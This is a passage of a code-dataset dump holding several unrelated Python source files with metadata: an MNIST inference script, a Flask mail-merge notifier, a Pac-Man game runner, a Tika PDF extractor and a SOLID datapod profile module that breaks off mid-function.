"sqlite3.connect", "line_number": 100, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 108, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 119, "usage_type": "call"}]}
{"seq_id": "17474546066", "text": "import torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nimport torch.optim as optim\r\n\r\nfrom torchvision import datasets, transforms\r\nfrom torch.autograd import Variable\r\n\r\nimport numpy as np\r\nimport time\r\nimport os\r\nimport sys\r\n\r\nfrom decode import decode\r\nfrom model import *\r\n\r\n# init parameters\r\nbatch_size = 200\r\nclasses = 11\r\ncuda = True if torch.cuda.is_available() else False\r\nepochs = 200\r\nkwargs = {'num_workers': 0, 'pin_memory': False} if cuda else {}\r\nstart_epoch = 1\r\nlog_interval = 1\r\nlr = 0.005\r\nseed = 1\r\nvalidate_batch_size = 200\r\n\r\n# set seed\r\ntorch.manual_seed = seed\r\nif cuda:\r\n    torch.cuda.manual_seed = seed\r\nnp.random.seed(seed)\r\n\r\n# load the dataset\r\ntest_data = np.load(\"mnist_test.npy\")\r\ntest_data = torch.Tensor(test_data)\r\n# Don't worry about me loading in the mnist_dev_labels file. I'm only doing this\r\n# because pytorch's TensorDataset doesn't support not having labels, sadly.\r\ntest_labels = np.load(\"Mnist_dev_labels.npy\").astype(int)\r\ntest_labels = torch.IntTensor(test_labels)\r\ntest_dataset = torch.utils.data.TensorDataset(test_data, test_labels)\r\ntest_loader = torch.utils.data.DataLoader(\r\n    test_dataset,\r\n    batch_size=batch_size,\r\n    shuffle=False,\r\n    **kwargs\r\n)\r\n\r\n# load and initialize the model\r\nmodel = Net(cuda)\r\n\r\nmodel.load_state_dict(torch.load(\"./compiled/train-0.06-test-0.11.pt\"))\r\n\r\nif cuda:\r\n    model.cuda()\r\n\r\ndef submit():\r\n    model.eval()\r\n\r\n    with torch.no_grad():\r\n\r\n        for input, target in test_loader:\r\n            # reset states\r\n            batch_size = input.shape[0]\r\n            target = target + 1\r\n\r\n            model.reset_hidden(batch_size)\r\n            model.reset_cell(batch_size)\r\n            model.zero_grad()\r\n\r\n            if cuda:\r\n                input, target = input.cuda(), target.cuda()\r\n\r\n            input = input.view(input.shape[0], 1, input.shape[1], input.shape[2])\r\n            input, target = Variable(input), Variable(target)\r\n            softmax_output, log_softmax_output = model(input)\r\n\r\n            softmax_output = softmax_output.view(batch_size, -1, classes)\r\n            predicted_digits = decode(softmax_output)\r\n\r\n            with open(\"LewisBrown_010744629.csv\", 'a') as fd:\r\n                for id in range(0, batch_size):\r\n                    row_string = str(id) + \",\"\r\n                    for digit_id in range(0, 10):\r\n                        row_string = row_string + str(predicted_digits[id][digit_id])\r\n\r\n                    fd.write(row_string + \"\\n\")\r\n\r\nsubmit()\r\n", "repo_name": "ramity/CSCE-5563-HW3", "sub_path": "dl3-bonus/submit.py", "file_name": "submit.py", "file_ext": "py", "file_size_in_byte": 2508, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.cuda.is_available", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 20, "usage_type": "attribute"}, {"api_name": "torch.manual_seed", "line_number": 30, "usage_type": "attribute"}, {"api_name": "torch.cuda", "line_number": 32, "usage_type": "attribute"}, {"api_name": "numpy.random.seed", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 33, "usage_type": "attribute"}, {"api_name": "numpy.load", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.IntTensor", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.utils.data.TensorDataset", "line_number": 42, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 42, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 43, "usage_type": "attribute"}, {"api_name": "model.load_state_dict", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 53, "usage_type": "call"}, {"api_name": "model.cuda", "line_number": 56, "usage_type": "call"}, {"api_name": "model.eval", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 61, "usage_type": "call"}, {"api_name": "model.reset_hidden", "line_number": 68, "usage_type": "call"}, {"api_name": "model.reset_cell", "line_number": 69, "usage_type": "call"}, {"api_name": "model.zero_grad", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 76, "usage_type": "call"}, {"api_name": "decode.decode", "line_number": 80, "usage_type": "call"}]}
{"seq_id": "74152906504", "text": "from flask import request, jsonify, session, render_template\nfrom flask_login import login_required\nfrom ..models import Permission, LineDataBank, CutoverOrder, MailTemplet, company_regex\nfrom ..decorators import permission_required\nfrom .. import logger, db, nesteddict\nfrom . import main\nimport datetime\nimport re\nfrom mailmerge import MailMerge\nfrom ..MyModule.SendMail import sendmail\nfrom ..MyModule.ImportData import import_cutover_file\nfrom ..proccessing_data.proccess.public_methods import new_data_obj\nimport os\n\n\n@main.route('/send_cutover_mail_from_excel', methods=['GET', 'POST'])\n@login_required\n@permission_required(Permission.MAN_ON_DUTY)\ndef send_cutover_mail_from_excel():\n    if not session['cutover_source_file']:\n        return jsonify({'status': 'false', 'content': '未上传文件'})\n\n    new_cutorder = CutoverOrder()\n    filepath = os.path.join('mail_result', new_cutorder.id)\n    if not os.path.exists(filepath):\n        logger.debug(f'create new result director {filepath}')\n        os.mkdir(filepath)\n    else:\n        raise FileExistsError(f'{filepath} exist!')\n    # 初始化部分变量\n    company_mailtemplet = nesteddict()\n    atoz = nesteddict()\n    cutover_atoz = list()\n\n    # 获取页面传递的参数\n    logger.debug(request.get_json())\n    mail_json = request.get_json()\n    cutover_datetime = mail_json.get('cutover_datetime', None)\n    cutover_send_date = mail_json.get('cutover_send_date', None)\n    cutover_pops = mail_json.get('pops')\n    cutover_title = mail_json.get('cutover_title')\n    cutover_reason = mail_json.get('cutover_reason')\n    cutover_emergency = mail_json.get('cutover_emergency', None)\n    cutover_duration = mail_json.get('cutover_duration') if mail_json.get('cutover_duration') else \"割接\"\n    cutover_email = mail_json.setdefault('cutover_email', 'whnoc@nbl.net.cn')\n\n    # 验证参数\n    pass\n\n    # 整理割接范围，\n    for a_z in cutover_pops:\n        for key, value in a_z.items():\n            row, side = re.findall(r'\\[(\\d+)\\]\\[(\\w+)\\]', key)[0]\n            # row 第几行 例如第0行   side A或者Z value 城市名称\n            atoz[row][side] = value\n\n    for pop in atoz.values():\n        cutover_atoz.append('---'.join([pop['A'], pop['Z']]) if pop['A'] != pop['Z'] else pop['A'])\n    # 当有多个割接范围的时候，用都好分隔\n    cutover_from_to = '，'.join(cutover_atoz)\n\n    # 整理传入的时间范围\n    if cutover_datetime:\n        start_time, stop_time = cutover_datetime.split(' - ')\n        start_time = datetime.datetime.strptime(start_time.strip(), '%Y/%m/%d %H:%M:%S')\n        stop_time = datetime.datetime.strptime(stop_time.strip(), '%Y/%m/%d %H:%M:%S')\n        logger.debug('cutover start from {} to {}'.format(start_time, stop_time))\n    else:\n        start_time = datetime.datetime(2000, 1, 1, 0, 0, 0)\n        stop_time = datetime.datetime(2100, 12, 31, 23, 59, 59)\n\n    # 整理邮件落款日期\n    send_date = datetime.datetime.strptime(cutover_send_date.strip(),\n                                           '%m/%d/%Y') if cutover_send_date else datetime.date.today()\n\n    # 处理相关业务，将线路对象及线路割接内容关联到公司名称下，line_contents在后续处理中需要用set来去重\n    for id_ in import_cutover_file(session.get('cutover_source_file'), 'Sheet1'):\n        # 导入该客户的邮件模板\n        if id_.get(\"customer_name\"):\n            customer = new_data_obj('Customer', **{'name': id_.get(\"customer_name\")})\n            company_mailtemplet[customer.name]['templet'] = customer.mail_templet\n            # 导入线路资料表对象\n            if 'lines' not in company_mailtemplet[customer.name].keys():\n                company_mailtemplet[customer.name]['lines'] = list()\n\n            company_mailtemplet[customer.name]['lines'].append(id_)\n        else:\n            continue\n\n    logger.debug(f\">>>> company and mailtemplet {company_mailtemplet}\")\n\n    attachments = list()\n    for company, mail_detail in company_mailtemplet.items():\n        templet_obj = mail_detail['templet'][0] if mail_detail['templet'] and mail_detail['templet'][\n            0] else MailTemplet.query.get(1)\n        mail_title = templet_obj.mail_title\n        template = templet_obj.attachment_path\n        document = MailMerge(template)\n        the_lines = mail_detail['lines']\n        cutover_lines = []\n        protect_desc = '主备路由切换，届时延迟增大' if re.search(company_regex, company) else '主备路由切换'\n\n        merage_fields = document.get_merge_fields()\n\n        logger.debug(merage_fields)\n\n        for the_line in the_lines:\n            append_content = the_line.get('line_content')\n            cutover_status = protect_desc if the_line.get(\"protect\") == '是' else '业务中断'\n            # body06 = the_line.product_model + '业务' # 目前没有作用，可删除\n            cutover_lines.append({'body03': str(append_content),\n                                  'body04': str(the_line.get(\"line_code\")),\n                                  'body05': str(cutover_status)} if 'body05' in merage_fields else\n                                 {\n                                     'body03': str(append_content),\n                                     'body04': str(the_line.get(\"line_code\"))\n                                 })\n\n        document.merge(customer=company,\n                       date_in_title=start_time.strftime(\"%Y年%m月%d日\"),\n                       cutover_title=cutover_title,\n                       cutover_starttime=start_time.strftime('%Y-%m-%d %H:%M'),\n                       cutover_stoptime=stop_time.strftime('%Y-%m-%d %H:%M'),\n                       cutover_atoz=cutover_from_to,\n                       body01=\"紧急\" if cutover_emergency else '',\n                       body02=send_date.strftime(\"%Y年%m月%d日\"),\n                       body03=cutover_lines,\n                       cutover_reason=cutover_reason,\n                       cutover_duration=cutover_duration)\n\n        filename = mail_title + \"割接通知\" + \"-\" + company + '.docx'\n        filename = os.path.join(filepath, filename)\n        attachments.append(filename)\n        document.write(filename)\n        document.close()\n    try:\n        SM = sendmail(subject='割接通知自动汇总_' + str(datetime.datetime.now()), mail_to=cutover_email)\n        attrs = list()\n        for a in attachments:\n            attrs.append(SM.addAttachFile(a))\n        send_flag = False\n        if send_flag:\n            if SM.send(addattach=attrs):\n                new_cutorder.total = len(attachments)\n                new_cutorder.cutover_status = cutover_status\n                new_cutorder.cutover_starttime = start_time\n                new_cutorder.cutover_stoptime = stop_time\n                new_cutorder.cutover_from_to = cutover_from_to\n                new_cutorder.cutover_send_date = send_date\n                new_cutorder.title_about = cutover_title\n                new_cutorder.content = cutover_reason\n                new_cutorder.operator = session['SELFID']\n                db.session.add(new_cutorder)\n                db.session.commit()\n                session['cutover_source_file'] = \"\"\n                return jsonify({'status': 'true', \"content\": \"邮件发送成功\"})\n            else:\n                return jsonify({'status': 'false', \"content\": \"邮件发送失败\"})\n        else:\n            return jsonify({'status': 'false', \"content\": \"未配置发送邮件\"})\n    except Exception as e:\n        db.session.rollback()\n        session['cutover_source_file'] = \"\"\n        return jsonify({'status': 'false', \"content\": str(e)})\n", "repo_name": "KoiosChen/gamefast", "sub_path": "app/main/send_mail_temp.py", "file_name": "send_mail_temp.py", "file_ext": "py", "file_size_in_byte": 7635, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.session", "line_number": 20, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 21, "usage_type": "call"}, {"api_name": "models.CutoverOrder", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 27, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 36, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 36, "usage_type": "name"}, {"api_name": "flask.request.get_json", "line_number": 37, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 37, "usage_type": "name"}, {"api_name": "re.findall", "line_number": 53, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 65, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 65, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 66, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 66, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 69, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 70, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 73, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 73, "usage_type": "attribute"}, {"api_name": "datetime.date.today", "line_number": 74, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 74, "usage_type": "attribute"}, {"api_name": "MyModule.ImportData.import_cutover_file", "line_number": 77, "usage_type": "call"}, {"api_name": "flask.session.get", "line_number": 77, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 77, "usage_type": "name"}, {"api_name": "proccessing_data.proccess.public_methods.new_data_obj", "line_number": 80, "usage_type": "call"}, {"api_name": "models.MailTemplet.query.get", "line_number": 95, "usage_type": "call"}, {"api_name": "models.MailTemplet.query", "line_number": 95, "usage_type": "attribute"}, {"api_name": "models.MailTemplet", "line_number": 95, "usage_type": "name"}, {"api_name": "mailmerge.MailMerge", "line_number": 98, "usage_type": "call"}, {"api_name": "re.search", "line_number": 101, "usage_type": "call"}, {"api_name": "models.company_regex", "line_number": 101, "usage_type": "argument"}, {"api_name": "os.path.join", "line_number": 132, "usage_type": "call"}, {"api_name": "os.path", "line_number": 132, "usage_type": "attribute"}, {"api_name": "MyModule.SendMail.sendmail", "line_number": 137, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 137, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 137, "usage_type": "attribute"}, {"api_name": "flask.session", "line_number": 152, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 155, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 156, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 158, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 160, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 163, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 164, "usage_type": "call"}, {"api_name": "flask_login.login_required", "line_number": 17, "usage_type": "name"}, {"api_name": "decorators.permission_required", "line_number": 18, "usage_type": "call"}, {"api_name": "models.Permission.MAN_ON_DUTY", "line_number": 18, "usage_type": "attribute"}, {"api_name": "models.Permission", "line_number": 18, "usage_type": "name"}]}
{"seq_id": "20992861711", "text": "#!/usr/bin/env python\nfrom os import environ\n# Hide pygame hello message\nenviron['PYGAME_HIDE_SUPPORT_PROMPT'] = '1'\n\nfrom manpac.maps.map_pacman import MapPacman  # NOQA\nfrom manpac.entity import Entity  # NOQA\nfrom manpac.entity_type import EntityType  # NOQA\nfrom manpac.game import Game  # NOQA\nfrom manpac.game_status import GameStatus  # NOQA\nfrom manpac.controllers.human_controller import HumanController  # NOQA\nfrom manpac.controllers.random_walk_controller import RandomWalkController  # NOQA\nfrom manpac.controllers.walk_away_controller import WalkAwayController  # NOQA\nfrom manpac.controllers.target_seeker_controller import TargetSeekerController  # NOQA\nfrom manpac.controllers.net.net_server_controller import NetServerController  # NOQA\nfrom manpac.controllers.net.net_client_controller import NetClientController  # NOQA\nfrom manpac.ui.interface import Interface  # NOQA\n\nimport argparse  # NOQA\nfrom tqdm import trange  # NOQA\nimport time  # NOQA\n\n\nMAP_DICT = {\n    \"pacman\": lambda game: MapPacman(game)\n}\nCONTROLLER_DICT = {\n    \"n\": lambda game, params: None,\n    \"t\": lambda game, params: TargetSeekerController(game),\n    \"hu\": lambda game, params: HumanController(game),\n    \"rw\": lambda game, params: RandomWalkController(game),\n    \"wa\": lambda game, params: WalkAwayController(game, 10),\n    \"ns\": lambda game, params: NetServerController(game, params.host, params.port),\n    \"nc\": lambda game, params: NetClientController(HumanController(game), params.host, params.port)\n}\n# =============================================================================\n#  ARGUMENT PARSING\n# =============================================================================\nparser = argparse.ArgumentParser(description='Run manpac games.')\n\ngame_options = parser.add_argument_group('game options')\ndefault_map = list(MAP_DICT.keys())[0]\ngame_options.add_argument('-c', '--controllers', dest='controllers_name',\n                          action='store', type=str,\n                          choices=list(CONTROLLER_DICT.keys()),\n                          nargs='*', default=[],\n                          help='the controllers pacman and ghosts will use')\ngame_options.add_argument('-m', '--map', dest='map_name',\n                          action='store', default=default_map, type=str,\n                          choices=list(MAP_DICT.keys()),\n                          help='the map (default: \"{}\")'.format(default_map))\ngame_options.add_argument('--pacman', dest='pacman_controller',\n                          action='store', type=str, default=\"t\",\n                          choices=list(CONTROLLER_DICT.keys()),\n                          help='the controller for pacman (default: \"t\")')\ngame_options.add_argument('--no-pac', dest='no_pacman',\n                          action='store_true',\n                          help='no pacman')\ngame_options.add_argument('-n', dest='games',\n                          action='store', default=1, type=int,\n                          help='the number of games (default: 1)')\n\nmisc_options = parser.add_argument_group('misc options')\nmisc_options.add_argument('--progress', dest='progress',\n                          action='store_true', default=False,\n                          help='display a progress bar in the console')\nmisc_options.add_argument('--ui', dest='ui',\n                          action='store_true', default=False,\n                          help='show user interface')\nmisc_options.add_argument('-d', '--debug', dest='debug',\n                          action='store_true', default=False,\n                          help='activate debug mode')\nmisc_options.add_argument('-f', '--freq', dest='freq',\n                          action='store', default=0, type=int,\n                          help='frequence of the game update when no ui (default: unlimited)')\n\nnet_options = parser.add_argument_group('net options')\nnet_options.add_argument('--host', dest='host',\n                         action='store', default=\"127.0.0.1\",\n                         help='host for net services (default: \"127.0.0.1\")')\nnet_options.add_argument('-p', '--port', dest='port',\n                         action='store', default=9999, type=int,\n                         help='port for net services (default: 9999)')\n\nparams = parser.parse_args()\n# =============================================================================\n# RUNNING GAMES\n# =============================================================================\ngame_range = trange(params.games) if params.progress else range(params.games)\nfor game_num in game_range:\n    # Create pacmans\n    pacmans = []\n    if not params.no_pacman:\n        pacmans.append(Entity(EntityType.PACMAN))\n\n    params.controllers_name += [\"n\"] * (4 - len(params.controllers_name))\n    # Create ghosts\n    ghosts = []\n    for i in range(4):\n        ghosts.append(Entity(EntityType.GHOST))\n    # Create game\n    game = Game(*pacmans, *ghosts)\n\n    # Attach controller off pacman\n    for pacman in pacmans:\n        controller = CONTROLLER_DICT[params.pacman_controller](game, params)\n        if controller is None:\n            continue\n        controller.debug = params.debug\n        pacman.attach(controller)\n\n    # Attach controller off ghosts\n    for ghost, controller in zip(ghosts, params.controllers_name):\n        controller = CONTROLLER_DICT[controller](game, params)\n        if controller is None:\n            continue\n        controller.debug = params.debug\n        ghost.attach(controller)\n\n    # Create map\n    map = MAP_DICT[params.map_name](game)\n    # Run the game\n    if params.ui:\n        interface = Interface(game)\n        interface.start(map)\n    else:\n        game.start(map)\n\n        for entity in game.entities:\n            if isinstance(entity.controller, NetServerController):\n                time.sleep(3)\n                break\n\n        while game.status is GameStatus.NOT_STARTED:\n            time.sleep(.01)\n        sleep_time = 1 / params.freq if params.freq > 0 else 0\n        while game.status is not GameStatus.FINISHED:\n            game.update(1)\n            if sleep_time > 0:\n                time.sleep(sleep_time)\n", "repo_name": "Theomat/manpac", "sub_path": "manpac/run.py", "file_name": "run.py", "file_ext": "py", "file_size_in_byte": 6119, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.environ", "line_number": 4, "usage_type": "name"}, {"api_name": "manpac.maps.map_pacman.MapPacman", "line_number": 25, "usage_type": "call"}, {"api_name": "manpac.controllers.target_seeker_controller.TargetSeekerController", "line_number": 29, "usage_type": "call"}, {"api_name": "manpac.controllers.human_controller.HumanController", "line_number": 30, "usage_type": "call"}, {"api_name": "manpac.controllers.random_walk_controller.RandomWalkController", "line_number": 31, "usage_type": "call"}, {"api_name": "manpac.controllers.walk_away_controller.WalkAwayController", "line_number": 32, "usage_type": "call"}, {"api_name": "manpac.controllers.net.net_server_controller.NetServerController", "line_number": 33, "usage_type": "call"}, {"api_name": "manpac.controllers.net.net_client_controller.NetClientController", "line_number": 34, "usage_type": "call"}, {"api_name": "manpac.controllers.human_controller.HumanController", "line_number": 34, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 39, "usage_type": "call"}, {"api_name": "tqdm.trange", "line_number": 89, "usage_type": "call"}, {"api_name": "manpac.entity.Entity", "line_number": 94, "usage_type": "call"}, {"api_name": "manpac.entity_type.EntityType.PACMAN", "line_number": 94, "usage_type": "attribute"}, {"api_name": "manpac.entity_type.EntityType", "line_number": 94, "usage_type": "name"}, {"api_name": "manpac.entity.Entity", "line_number": 100, "usage_type": "call"}, {"api_name": "manpac.entity_type.EntityType.GHOST", "line_number": 100, "usage_type": "attribute"}, {"api_name": "manpac.entity_type.EntityType", "line_number": 100, "usage_type": "name"}, {"api_name": "manpac.game.Game", "line_number": 102, "usage_type": "call"}, {"api_name": "manpac.ui.interface.Interface", "line_number": 124, "usage_type": "call"}, {"api_name": "manpac.controllers.net.net_server_controller.NetServerController", "line_number": 130, "usage_type": "argument"}, {"api_name": "time.sleep", "line_number": 131, "usage_type": "call"}, {"api_name": "manpac.game_status.GameStatus.NOT_STARTED", "line_number": 134, "usage_type": "attribute"}, {"api_name": "manpac.game_status.GameStatus", "line_number": 134, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 135, "usage_type": "call"}, {"api_name": "manpac.game_status.GameStatus.FINISHED", "line_number": 137, "usage_type": "attribute"}, {"api_name": "manpac.game_status.GameStatus", "line_number": 137, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 140, "usage_type": "call"}]}
{"seq_id": "42175046041", "text": "import tika\nimport extract\n\n\ndef process(file, config, rcontext, columns=None):\n    fullpath = file.fullpath\n    parser = tika.AutoDetectParser()\n\n    input = tika.FileInputStream(tika.File(fullpath))\n\n    content = tika.BodyContentHandler()\n    metadata = tika.Metadata()\n    context = tika.ParseContext()\n    \n    parser.parse(input,content,metadata,context)\n    content = content.toString()\n\n    processed = [\n        metadata.get(\"Creation-Date\"),\n        metadata.get(\"Last-Modified\"),\n        metadata.get(\"Last-Save-Date\"),\n        metadata.get(\"Author\"),\n        metadata.get(\"producer\"),\n        metadata.get(\"xmpTPg:NPages\"),\n        content\n    ]\n\n    extract.xpdf_extract(fullpath, config, rcontext)\n\n    return processed\n", "repo_name": "uforia/Uforia", "sub_path": "source/modules/application/pdf/pdf.py", "file_name": "pdf.py", "file_ext": "py", "file_size_in_byte": 734, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 10, "dataset": "github-code", "pt": "81", "api": [{"api_name": "tika.AutoDetectParser", "line_number": 7, "usage_type": "call"}, {"api_name": "tika.FileInputStream", "line_number": 9, "usage_type": "call"}, {"api_name": "tika.File", "line_number": 9, "usage_type": "call"}, {"api_name": "tika.BodyContentHandler", "line_number": 11, "usage_type": "call"}, {"api_name": "tika.Metadata", "line_number": 12, "usage_type": "call"}, {"api_name": "tika.ParseContext", "line_number": 13, "usage_type": "call"}, {"api_name": "extract.xpdf_extract", "line_number": 28, "usage_type": "call"}]}
{"seq_id": "41026047517", "text": "import ssl\nssl._create_default_https_context = ssl._create_unverified_context\ncontext = ssl.create_default_context()\n\nimport httpx\nimport os\n\nfrom solid.solid_api import SolidAPI\nfrom rdflib import Graph, Namespace, OWL, RDF\nfrom rdflib import URIRef, Literal, BNode\n\n\n\n\n\nclass Auth2:\n\n    def __init__(self):\n        self.client = httpx.Client(verify=False)\n\n    @property\n    def is_login(self) -> bool:\n        return self.client.cookies.get('nssidp.sid') is not None\n\n    def login(self, idp, username, password):\n        # NSS only\n        if idp[-1] == '/':\n            idp = idp[:-1]\n        url = '/'.join((idp, 'login/password'))\n\n        data = {\n            'username': username,\n            'password': password\n        }\n\n        r = self.client.post(url, data=data)\n        r.raise_for_status()\n\n        if not self.is_login:\n            raise Exception('Cannot login.')\n\n        print(\"* \", r)\n\n\n\n#######################################################\n#\n# Some obvious categories are well known:\n#\n#######################################################\n\ncategories_standard = [\n    'tourism',\n    'public_transport',\n    'accessibility',\n    'amenity' ,\n    'business',\n    'education',\n    'transport',\n    'medical_services',\n    'security',\n    'services' ]\n\n#\n# Define Customer's Impact Profiles\n#\npFAM  = ( \"FAMILY\" , [7.0, -6.0, 5.0, 8.0,  9.0, -10.0,  4.0,  4.0, 7.0,  3.0] )\npOLD  = ( \"OLD\"    , [-2.0, 8.0, 9.0, 5.0,  -6.0, 1.0,  1.0,  10.0, 4.0, 7.0] )\npYOUNG = ( \"YOUNG\"   , [10.0, 10.0,  2.0, 5.0, 3.0,  10.0, 6.0,  2.0, 1.0,  1.0] )\n\np1  = ( \"Student\"      , [ 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0] )\np2  = ( \"Rentner\"      , [ 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0] )\np3 = ( \"Partytyp\"      , [ 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0] )\np4  = ( \"Sportler\"     , [ 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0] )\np5 = ( \"Naturfreund\"   , [ 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0] )\n\ndef defineProfilesFor( profile_keys , custom_profile ):\n\n    interactionTYPES = [\"impact_lr\", \"impact_sr\"]\n    pWEIGHT          = [1,  1, 1,  1, 1,  1, 1,  1, 1,  1]\n    pINTERACTION     = [1,  1, 1,  1, 1,  1, 1,  1, 1,  1] # index on interactionTYPES\n\n    prof = {}\n    prof[p1[0]] = p1\n    prof[p2[0]] = p2\n    prof[p3[0]] = p3\n    prof[p4[0]] = p4\n    prof[p5[0]] = p5\n\n    temp = []\n    for i in range(1,11):\n        temp.append( custom_profile[ str(i) ] )\n\n    cp = ( \"my customprofile\" , temp )\n    prof[cp[0]] = cp\n\n    pPROF23 = ( cp[0]          , 10, interactionTYPES, pWEIGHT, pINTERACTION, prof[cp[0]])\n    pPROF22 = ( profile_keys[0], 10, interactionTYPES, pWEIGHT, pINTERACTION, prof[profile_keys[0]])\n    pPROF21 = ( profile_keys[1], 10, interactionTYPES, pWEIGHT, pINTERACTION, prof[profile_keys[1]])\n\n    return pPROF21, pPROF22, pPROF23\n\n\n\ndef getStandardCategories():\n    return categories_standard;\n\n\ndef getCategoriesFromLayers( layers, source_system ):\n\n    categories = []\n    i = 0\n    print( \">>> Extract categories from Layers ... \" )\n    for lKey in layers:\n\n        if source_system == \"KGC2022\":\n            lKey = lKey.split( \"_Point\" )[0]\n\n        categories.append(lKey)\n        print( str(i) + \" - \" + lKey )\n        i = i + 1\n\n\n    return categories\n\ndef getStandardProfiles():\n    prof = {}\n    prof['pFAM'] = pFAM\n    prof['pOLD'] = pOLD\n    prof['pYOUNG'] = pYOUNG\n    return prof\n\n\ndef put_custom_profile_into_pod( profile_name, values):\n\n    SOLID_USERNAME = os.environ.get('SOLID_USERNAME')\n    SOLID_PASSWORD = os.environ.get('SOLID_PASSWORD')\n\n    SOLID_IDP = os.environ.get('SOLID_IDP')\n    SOLID_POD_ENDPOINT = os.environ.get('SOLID_POD_ENDPOINT')\n\n    print(f\">>>--------------------------------------------<<<\")\n    print(f\">>> Linked-Open-Data Cloud - the cloud of PODs <<<\")\n    print(f\">>>--------------------------------------------<<<\")\n    print(f\">>>\")\n    print(f\">>>\")\n    print(f\">>> SOLID datapod [{SOLID_POD_ENDPOINT}] is used with IDP: [{SOLID_IDP}] for user: [{SOLID_USERNAME}]\")\n    print(f\">>>\")\n    print(f\">>>\")\n    print(\"* Login ...\")\n    auth = Auth2()\n    #auth = Auth()\n    api = SolidAPI(auth)\n    auth.login(SOLID_IDP, SOLID_USERNAME, SOLID_PASSWORD)\n    print( f\"*       ... DONE\")\n\n    g = Graph()\n\n    # general relations\n    geolayer = Namespace('http://geoqb.com/layer/general#')\n    g.bind('geoqb',geolayer)\n\n    for v in values :\n        print( v )\n        rel = URIRef('http://geoqb.com/layer/general#weight_for_layer_' + v)\n        g.add((rel, RDF.value, Literal( str( values[v] ) )))\n\n    newData = g.serialize(format='n3')\n\n    profile_url = f\"{SOLID_POD_ENDPOINT}/public/ecolytiq-sustainability-profile/\" + profile_name + \".ttl\"\n    resp = api.put_file(profile_url, newData, 'text/plain')\n\n    print( resp )\n\n\n\ndef describeSolidDatapod():\n    SOLID_IDP = os.environ.get('SOLID_IDP')\n    SOLID_POD_ENDPOINT = os.environ.get('SOLID_POD_ENDPOINT')\n\n    print(\"\\n>>> SOLID Datapod is configured for public data profiles.\" )\n    print( f\" > solid.idp           : {SOLID_IDP} \")\n    print( f\" > solid.pod.endpoint  : {SOLID_POD_ENDPOINT} \")\n\n\n\ndef get_custom_profile_from_pod( profile_name ):\n\n    SOLID_USERNAME = os.environ.get('SOLID_USERNAME')\n    SOLID_PASSWORD = os.environ.get('SOLID_PASSWORD')\n\n    SOLID_IDP = os.environ.get('SOLID_IDP')\n    SOLID_POD_ENDPOINT = os.environ.get('SOLID_POD_ENDPOINT')\n\n    print(f\">>>--------------------------------------------<<<\")\n    print(f\">>> Linked-Open-Data Cloud - the cloud of PODs <<<\")\n    print(f\">>>--------------------------------------------<<<\")\n    print(f\">>>\")\n    print(f\">>>\")\n    print(f\">>> SOLID datapod [{SOLID_POD_ENDPOINT}] is used with IDP: [{SOLID_IDP}] for user: [{SOLID_USERNAME}]\")\n    print(f\">>>\")\n    print(f\">>>\")\n    print(\"* Login ...\")\n    auth = Auth2()\n    #auth = Auth()\n    api = SolidAPI(auth)\n    auth.login(SOLID_IDP, SOLID_USERNAME, 